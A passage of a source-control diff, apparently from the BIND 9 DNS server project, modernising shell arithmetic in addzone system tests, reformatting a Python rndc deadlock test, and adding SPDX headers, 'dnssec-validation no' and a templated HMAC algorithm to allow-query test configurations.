-if [ -z "$NZD" ]; then
+if ! $FEATURETEST --with-lmdb; then
     echo_i "checking new NZF file has comment ($n)"
     ret=0
-    hcount=`grep "^# New zone file for view: external" ns2/external.nzf | wc -l`
+    hcount=$(grep "^# New zone file for view: external" ns2/external.nzf | wc -l)
     [ $hcount -eq 1 ] || ret=1
-    n=`expr $n + 1`
+    n=$((n + 1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
-if [ -n "$NZD" ]; then
+if $FEATURETEST --with-lmdb; then
     echo_i "verifying added.example in external view created an external.nzd DB ($n)"
     ret=0
     [ -e ns2/external.nzd ] || ret=1
-    n=`expr $n + 1`
+    n=$((n + 1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 echo_i "checking rndc reload causes named to reload the external view's new zone config ($n)"
@@ -540,24 +536,24 @@ _check_rndc_reload_external_view_config() (
 	grep '^a.added.example' dig.out.ns2.ext.$n > /dev/null
 )
 retry_quiet 10 _check_rndc_reload_external_view_config || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "checking rndc showzone with newly added zone ($n)"
 _check_rndc_showzone_newly_added() (
-	if [ -z "$NZD" ]; then
+	if ! $FEATURETEST --with-lmdb; then
 		expected='zone "added.example" in external { type primary; file "added.db"; };'
 	else
 		expected='zone "added.example" { type primary; file "added.db"; };'
 	fi
 	$RNDCCMD 10.53.0.2 showzone added.example in external > rndc.out.ns2.$n 2>/dev/null &&
-	[ "`cat rndc.out.ns2.$n`" = "$expected" ]
+	[ "$(cat rndc.out.ns2.$n)" = "$expected" ]
 )
 retry_quiet 10  _check_rndc_showzone_newly_added || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "deleting newly added zone ($n)"
 ret=0
@@ -568,31 +564,31 @@ _check_deleting_newly_added_zone() (
 	! grep '^a.added.example' dig.out.ns2.$n > /dev/null
 )
 retry_quiet 10 _check_deleting_newly_added_zone || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "attempting to add zone to internal view ($n)"
 ret=0
 $DIG +norec $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.added.example a > dig.out.ns2.pre.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.pre.$n > /dev/null || ret=1
-$RNDCCMD 10.53.0.2 addzone 'added.example in internal { type primary; file "added.db"; };' 2> rndc.out.ns2.$n
+$RNDCCMD 10.53.0.2 addzone 'added.example in internal { type primary; file "added.db"; };' 2> rndc.out.ns2.$n && ret=1
 grep "permission denied" rndc.out.ns2.$n > /dev/null || ret=1
 $DIG $DIGOPTS @10.53.0.2 -b 10.53.0.2 a.added.example a > dig.out.ns2.int.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.int.$n > /dev/null || ret=1
 $DIG $DIGOPTS @10.53.0.4 -b 10.53.0.4 a.added.example a > dig.out.ns2.ext.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.ext.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "attempting to delete a policy zone ($n)"
 ret=0
-$RNDCCMD 10.53.0.2 delzone 'policy in internal' 2> rndc.out.ns2.$n >&1
+$RNDCCMD 10.53.0.2 delzone 'policy in internal' 2> rndc.out.ns2.$n >&1 && ret=1
 grep 'cannot be deleted' rndc.out.ns2.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "adding new zone again to external view ($n)"
 ret=0
@@ -605,9 +601,9 @@ _check_adding_new_zone_again_external() (
 	grep '^a.added.example' dig.out.ns2.ext.$n > /dev/null
 )
 retry_quiet 10 _check_adding_new_zone_again_external || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "reconfiguring server with multiple views and new-zones-directory"
 rm -f ns2/named.conf
@@ -619,9 +615,9 @@ ret=0
 $DIG +norec $DIGOPTS @10.53.0.4 -b 10.53.0.4 a.added.example a > dig.out.ns2.ext.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.ext.$n > /dev/null || ret=1
 grep '^a.added.example' dig.out.ns2.ext.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "deleting newly added zone from external ($n)"
 ret=0
@@ -629,9 +625,9 @@ $RNDCCMD 10.53.0.2 delzone 'added.example in external' 2>&1 | sed 's/^/I:ns2 /'
 $DIG $DIGOPTS @10.53.0.4 -b 10.53.0.4 a.added.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.added.example' dig.out.ns2.$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "adding new zone to directory view ($n)"
 ret=0
@@ -649,11 +645,11 @@ grep 'status: REFUSED' dig.out.ns2.ext.$n > /dev/null || ret=1
 $DIG +norec $DIGOPTS @10.53.0.5 -b 10.53.0.5 a.added.example a > dig.out.ns2.dir.$n || ret=1
 grep 'status: NOERROR' dig.out.ns2.dir.$n > /dev/null || ret=1
 grep '^a.added.example' dig.out.ns2.dir.$n > /dev/null || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if [ -n "$NZD" ]; then
+if $FEATURETEST --with-lmdb; then
     echo_i "checking NZD file was created in new-zones-directory ($n)"
     expect=ns2/new-zones/directory.nzd
 else
@@ -663,9 +659,9 @@ fi
 $RNDCCMD 10.53.0.2 sync 'added.example IN directory' 2>&1 | sed 's/^/I:ns2 /'
 sleep 2
 [ -e "$expect" ] || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "deleting newly added zone from directory ($n)"
 ret=0
@@ -673,17 +669,17 @@ $RNDCCMD 10.53.0.2 delzone 'added.example in directory' 2>&1 | sed 's/^/I:ns2 /'
 $DIG $DIGOPTS @10.53.0.5 -b 10.53.0.5 a.added.example a > dig.out.ns2.$n || ret=1
 grep 'status: REFUSED' dig.out.ns2.$n > /dev/null || ret=1
 grep '^a.added.example' dig.out.ns2.$n > /dev/null && ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "ensure the configuration context is cleaned up correctly ($n)"
 ret=0
 rndc_reconfig ns2 10.53.0.2
 $RNDCCMD 10.53.0.2 status > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "check delzone after reconfig failure ($n)"
 ret=0
@@ -691,9 +687,9 @@ $RNDCCMD 10.53.0.3 addzone 'inlinesec.example. IN { type secondary; file "inline
 copy_setports ns3/named2.conf.in ns3/named.conf
 rndc_reconfig ns3 10.53.0.3
 $RNDCCMD 10.53.0.3 delzone inlinesec.example > /dev/null 2>&1 || ret=1
-n=`expr $n + 1`
+n=$((n + 1))
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if ! $FEATURETEST --with-lmdb
 then
@@ -704,9 +700,9 @@ then
     $RNDCCMD 10.53.0.3 addzone "test3.baz" '{ type primary; file "e.db"; };' > /dev/null 2>&1 || ret=1
     $RNDCCMD 10.53.0.3 delzone "test3.baz" > /dev/null 2>&1 || ret=1
     grep test2.baz ns3/_default.nzf > /dev/null && ret=1
-    n=`expr $n + 1`
+    n=$((n + 1))
     if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
+    status=$((status + ret))
 fi
 
 _check_version_bind() (
@@ -723,8 +719,8 @@ $RNDCCMD 10.53.0.3 addzone '"test\".baz"' '{ type primary; check-names ignore; f
 $RNDCCMD 10.53.0.3 addzone '"test\\.baz"' '{ type primary; check-names ignore; file "e.db"; };' > /dev/null 2>&1 || ret=1
 $RNDCCMD 10.53.0.3 addzone '"test\032.baz"' '{ type primary; check-names ignore; file "e.db"; };' > /dev/null 2>&1 || ret=1
 $RNDCCMD 10.53.0.3 addzone '"test\010.baz"' '{ type primary; check-names ignore; file "e.db"; };' > /dev/null 2>&1 || ret=1
-stop_server addzone ns3
-start_server --noclean --restart --port ${PORT} addzone ns3 || ret=1
+stop_server ns3
+start_server --noclean --restart --port ${PORT} ns3 || ret=1
 retry_quiet 10 _check_version_bind || ret=1
 $DIG $DIGOPTS @10.53.0.3 SOA  "test4.baz" > dig.out.1.test$n || ret=1
 grep "status: NOERROR" dig.out.1.test$n > /dev/null || ret=1
@@ -745,8 +741,8 @@ $DIG $DIGOPTS @10.53.0.3 SOA  'test\010.baz' > dig.out.6.test$n || ret=1
 grep "status: NOERROR" dig.out.6.test$n > /dev/null || ret=1
 grep "ANSWER: 1," dig.out.6.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/addzone/tests_rndc_deadlock.py b/bin/tests/system/addzone/tests_rndc_deadlock.py
index 4e1e1090ba..bd21d62a90 100755
--- a/bin/tests/system/addzone/tests_rndc_deadlock.py
+++ b/bin/tests/system/addzone/tests_rndc_deadlock.py
@@ -1,13 +1,13 @@
-############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
-############################################################################
 
 import concurrent.futures
 import os
@@ -16,65 +16,68 @@
 
 
 def run_rndc(server, rndc_command):
-    '''
-    Send the specified 'rndc_command' to 'server' with a timeout of 2 seconds
-    '''
-    rndc = os.getenv('RNDC')
-    port = os.getenv('CONTROLPORT')
+    """
+    Send the specified 'rndc_command' to 'server' with a timeout of 10 seconds
+    """
+    rndc = os.getenv("RNDC")
+    port = os.getenv("CONTROLPORT")
 
-    cmdline = [rndc, '-c', '../common/rndc.conf', '-p', port, '-s', server]
+    cmdline = [rndc, "-c", "../common/rndc.conf", "-p", port, "-s", server]
     cmdline.extend(rndc_command)
 
-    subprocess.check_output(cmdline, stderr=subprocess.STDOUT, timeout=2)
+    subprocess.check_output(cmdline, stderr=subprocess.STDOUT, timeout=10)
 
 
 def rndc_loop(test_state, domain):
-    '''
+    """
     Run "rndc addzone", "rndc modzone", and "rndc delzone" in a tight loop
     until the test is considered finished, ignoring errors
-    '''
+    """
     rndc_commands = [
-        ['addzone', domain,
-         '{ type master; file "example.db"; };'],
-        ['modzone', domain,
-         '{ type master; file "example.db"; allow-transfer { any; }; };'],
-        ['delzone', domain],
+        ["addzone", domain, '{ type primary; file "example.db"; };'],
+        [
+            "modzone",
+            domain,
+            '{ type primary; file "example.db"; allow-transfer { any; }; };',
+        ],
+        ["delzone", domain],
     ]
 
-    while not test_state['finished']:
+    while not test_state["finished"]:
         for command in rndc_commands:
             try:
-                run_rndc('10.53.0.3', command)
+                run_rndc("10.53.0.3", command)
             except subprocess.SubprocessError:
                 pass
 
 
 def check_if_server_is_responsive():
-    '''
+    """
     Check if server status can be successfully retrieved using "rndc status"
-    '''
+    """
     try:
-        run_rndc('10.53.0.3', ['status'])
+        run_rndc("10.53.0.3", ["status"])
         return True
     except subprocess.SubprocessError:
         return False
 
 
 def test_rndc_deadlock():
-    '''
+    """
     Test whether running "rndc addzone", "rndc modzone", and "rndc delzone"
     commands concurrently does not trigger a deadlock
-    '''
-    test_state = {'finished': False}
+    """
+    test_state = {"finished": False}
 
     # Create 4 worker threads running "rndc" commands in a loop.
     with concurrent.futures.ThreadPoolExecutor() as executor:
         for i in range(1, 5):
-            domain = 'example%d' % i
+            domain = "example%d" % i
             executor.submit(rndc_loop, test_state, domain)
 
-        # Run "rndc status" in 1-second intervals for a maximum of 10 seconds.
-        # If any "rndc status" command fails, the loop will be interrupted.
+        # Run "rndc status" 10 times, with 1-second pauses between attempts.
+        # Each "rndc status" invocation has a timeout of 10 seconds.  If any of
+        # them fails, the loop will be interrupted.
         server_is_responsive = True
         attempts = 10
         while server_is_responsive and attempts > 0:
@@ -83,7 +86,7 @@ def test_rndc_deadlock():
             time.sleep(1)
 
         # Signal worker threads that the test is finished.
-        test_state['finished'] = True
+        test_state["finished"] = True
 
     # Check whether all "rndc status" commands succeeded.
     assert server_is_responsive
diff --git a/bin/tests/system/addzone/tests_sh_addzone.py b/bin/tests/system/addzone/tests_sh_addzone.py
new file mode 100644
index 0000000000..dca8e7415c
--- /dev/null
+++ b/bin/tests/system/addzone/tests_sh_addzone.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_addzone(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/allow-query/clean.sh b/bin/tests/system/allow-query/clean.sh
index aff72a2047..9914de7469 100644
--- a/bin/tests/system/allow-query/clean.sh
+++ b/bin/tests/system/allow-query/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/allow-query/ns1/named.conf.in b/bin/tests/system/allow-query/ns1/named.conf.in
index 70e4d01cc2..dd786e2780 100644
--- a/bin/tests/system/allow-query/ns1/named.conf.in
+++ b/bin/tests/system/allow-query/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 zone "." {
diff --git a/bin/tests/system/allow-query/ns1/root.db b/bin/tests/system/allow-query/ns1/root.db
index 32c7ea064a..456198e58a 100644
--- a/bin/tests/system/allow-query/ns1/root.db
+++ b/bin/tests/system/allow-query/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/allow-query/ns2/generic.db b/bin/tests/system/allow-query/ns2/generic.db
index b5d176ae6a..83e66f9462 100644
--- a/bin/tests/system/allow-query/ns2/generic.db
+++ b/bin/tests/system/allow-query/ns2/generic.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/allow-query/ns2/named01.conf.in b/bin/tests/system/allow-query/ns2/named01.conf.in
index faadc62936..3069010dfb 100644
--- a/bin/tests/system/allow-query/ns2/named01.conf.in
+++ b/bin/tests/system/allow-query/ns2/named01.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,6 +17,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named02.conf.in b/bin/tests/system/allow-query/ns2/named02.conf.in
index 758aa602bb..678c41779c 100644
--- a/bin/tests/system/allow-query/ns2/named02.conf.in
+++ b/bin/tests/system/allow-query/ns2/named02.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { any; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named03.conf.in b/bin/tests/system/allow-query/ns2/named03.conf.in
index d7d7d4f008..cdc64ff98f 100644
--- a/bin/tests/system/allow-query/ns2/named03.conf.in
+++ b/bin/tests/system/allow-query/ns2/named03.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { none; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named04.conf.in b/bin/tests/system/allow-query/ns2/named04.conf.in
index 67938b5f4e..05446627d6 100644
--- a/bin/tests/system/allow-query/ns2/named04.conf.in
+++ b/bin/tests/system/allow-query/ns2/named04.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { 10.53.0.2; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named05.conf.in b/bin/tests/system/allow-query/ns2/named05.conf.in
index 77b16461fb..6f92049f96 100644
--- a/bin/tests/system/allow-query/ns2/named05.conf.in
+++ b/bin/tests/system/allow-query/ns2/named05.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { 10.53.0.1; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named06.conf.in b/bin/tests/system/allow-query/ns2/named06.conf.in
index 94f1a3fc05..261c75b988 100644
--- a/bin/tests/system/allow-query/ns2/named06.conf.in
+++ b/bin/tests/system/allow-query/ns2/named06.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,6 +18,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query {! 10.53.0.2; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named07.conf.in b/bin/tests/system/allow-query/ns2/named07.conf.in
index 2752bab934..8050fa2204 100644
--- a/bin/tests/system/allow-query/ns2/named07.conf.in
+++ b/bin/tests/system/allow-query/ns2/named07.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { accept; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named08.conf.in b/bin/tests/system/allow-query/ns2/named08.conf.in
index 316b1bbfbd..ffa4cdc8d6 100644
--- a/bin/tests/system/allow-query/ns2/named08.conf.in
+++ b/bin/tests/system/allow-query/ns2/named08.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { accept; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named09.conf.in b/bin/tests/system/allow-query/ns2/named09.conf.in
index 211c8bff7b..49166e64fd 100644
--- a/bin/tests/system/allow-query/ns2/named09.conf.in
+++ b/bin/tests/system/allow-query/ns2/named09.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query {! accept; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named10.conf.in b/bin/tests/system/allow-query/ns2/named10.conf.in
index 7d43e364bb..a9cb0b21f3 100644
--- a/bin/tests/system/allow-query/ns2/named10.conf.in
+++ b/bin/tests/system/allow-query/ns2/named10.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
@@ -21,6 +23,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { key one; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named11.conf.in b/bin/tests/system/allow-query/ns2/named11.conf.in
index 295251880d..372f4f3655 100644
--- a/bin/tests/system/allow-query/ns2/named11.conf.in
+++ b/bin/tests/system/allow-query/ns2/named11.conf.in
@@ -1,21 +1,23 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234efgh8765";
 };
 
@@ -27,6 +29,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query { key one; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named12.conf.in b/bin/tests/system/allow-query/ns2/named12.conf.in
index 0c01071987..5dc3e776ea 100644
--- a/bin/tests/system/allow-query/ns2/named12.conf.in
+++ b/bin/tests/system/allow-query/ns2/named12.conf.in
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
@@ -21,6 +23,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	allow-query {! key one; };
+	dnssec-validation no;
 };
 
 include "controls.conf";
diff --git a/bin/tests/system/allow-query/ns2/named21.conf.in b/bin/tests/system/allow-query/ns2/named21.conf.in
index 5d09497b26..c6204a3b6c 100644
